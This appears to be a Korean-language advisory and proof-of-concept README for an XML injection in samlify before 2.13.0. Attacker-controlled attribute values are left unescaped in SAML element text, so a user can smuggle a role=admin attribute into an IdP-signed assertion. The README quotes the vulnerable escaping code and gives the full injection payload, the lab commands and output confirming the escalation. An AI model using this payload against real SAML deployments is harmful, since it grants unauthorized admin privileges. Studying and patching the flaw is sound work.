
CVE-2026-46490 — samlify <2.13.0 SAML AttributeValue XML injection -> signed-assertion privilege escalation. Self-contained PoC, verified e2e.
AttributeValue XML 삽입 → 권한 상승**samlify
< 2.13.0**는 속성 컨텍스트에서만 템플릿 대체를 이스케이프 처리합니다. 사용자가 제어하는 값(예:name)이 요소 텍스트(<saml:AttributeValue>{Value}</saml:AttributeValue>)에 배치되면 이스케이프되지 않은 상태로 삽입되므로, 일반 사용자가 추가<saml:Attribute>요소 (예:role=admin)를 자신의 IdP 서명된 SAML 어설션에 주입할 수 있습니다. 서명 전에 삽입이 발생하므로 서비스 제공자의 서명 확인이 통과되고 위조된 속성을 신뢰합니다.
| CVE | CVE-2026-46490 |
| 권고 | GHSA-34r5-q4jw-r36m |
| 영향 | samlify < 2.13.0 |
| 수정 | 2.13.0 |
| 분류 | CWE-91 (XML 삽입) → 권한 상승 |
| CVSS | 8.8 (높음) |
| 인증 | 인증된 낮은 권한의 사용자 (자신의 속성 값 중 하나를 제어) |
| 상태 | 확인됨 — [email protected]으로 IdP→SP 전체 체인 재현 |
src/libsaml.ts는 replaceTagsByValue → escapeTag를 통해 {tag} 플레이스홀더를 대체합니다.
replaceTagsByValue(rawXML, tagValues) {
Object.keys(tagValues).forEach(t => {
rawXML = rawXML.replace(new RegExp(`("?)\\{${t}\\}`, 'g'), escapeTag(tagValues[t]));
});
return rawXML;
}
function escapeTag(replacement) {
return (_match, quote) => {
const text = String(replacement ?? '');
// "따옴표가 없으면 이 보간이 속성용이 아니므로 이스케이프가 필요하지 않음"
return quote ? `${quote}${xmlEscape(text)}` : text; // <-- 요소 텍스트: 이스케이프 없음
};
}
정규식은 선택적인 앞의 " 를 quote로 캡처합니다. 속성 컨텍스트(
Name="{Name}")에서는 quote가 설정되어 값이 xmlEscape됩니다. 요소 텍스트
(>{attrEmail}<)에서는 앞에 따옴표가 없으므로 값이 그대로 내보내집니다.
기본 속성 템플릿은 값을 요소 텍스트에 넣습니다.
<saml:Attribute Name="{Name}" ...><saml:AttributeValue ...>{Value}</saml:AttributeValue></saml:Attribute>
따라서 공격자가 제어하는 속성 값에 </>가 포함되면 원시 XML이 삽입됩니다.
공격자는 자신의 프로필 속성(여기서는 email)을 다음과 같이 설정합니다.
[email protected]</saml:AttributeValue></saml:Attribute>
<saml:Attribute Name="role"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute>
<saml:Attribute Name="ignore"><saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema">
이렇게 하면 email 속성이 닫히고 위조된 role=admin 속성이 추가되며,
템플릿의 뒤쪽 </saml:AttributeValue></saml:Attribute>가 균형을 유지하도록
버려지는 속성이 다시 열립니다. 그런 다음 IdP는 어설션에 서명합니다.
(위조된 속성을 포함하여). 표준을 준수하는 SP는 서명을 확인하고(유효) role=admin을 읽습니다.
cd lab && ./setup.sh # npm i [email protected] + generate IdP/SP keypairs
node poc.js
출력:
>>> INJECTION CONFIRMED: forged <saml:Attribute Name="role">admin smuggled into the signed assertion
extracted attributes: {"email":"[email protected]","role":"admin","ignore":[]}
>>> PRIVILEGE ESCALATION CONFIRMED: SP accepted a signature-valid assertion granting role=admin
PoC는 samlify 자체 IdP(createLoginResponse, 취약한 replaceTagsByValue 대체를 수행하고 서명)와 SP(parseLoginResponse, 서명 확인 및 속성 추출)를 구동합니다.
SP는 role: "admin"을 표시합니다. 이는 공격자가 위조한 속성으로, IdP가 발급하려던 것이 아닙니다.
samlify 기반 IdP에서 자신의 SAML 속성 값(이메일, 표시 이름 등) 중 하나에 영향을 줄 수 있는 모든 사용자는 유효하게 서명된 어설션을 생성하여 임의의 추가 속성(그룹/역할 멤버십, 권한, isAdmin 플래그)을 전달할 수 있으며, IdP를 신뢰하는 모든 SP에서 권한을 상승시킬 수 있습니다. SAML 서명 검증은 도움이 되지 않습니다. 위조는 서명된 범위 내에 포함되어 있기 때문입니다.
발급/사용된 어설션에서 XML 마크업(</saml:AttributeValue>, <saml:Attribute)이 포함된 속성 값과 IdP 템플릿이 정의한 것보다 더 많은 <saml:Attribute> 요소를 포함하는 어설션을 검사합니다.
자세한 내용은 ANALYSIS.md에서 대체 정규식, 따옴표 휴리스틱 및 패치를 참조하세요.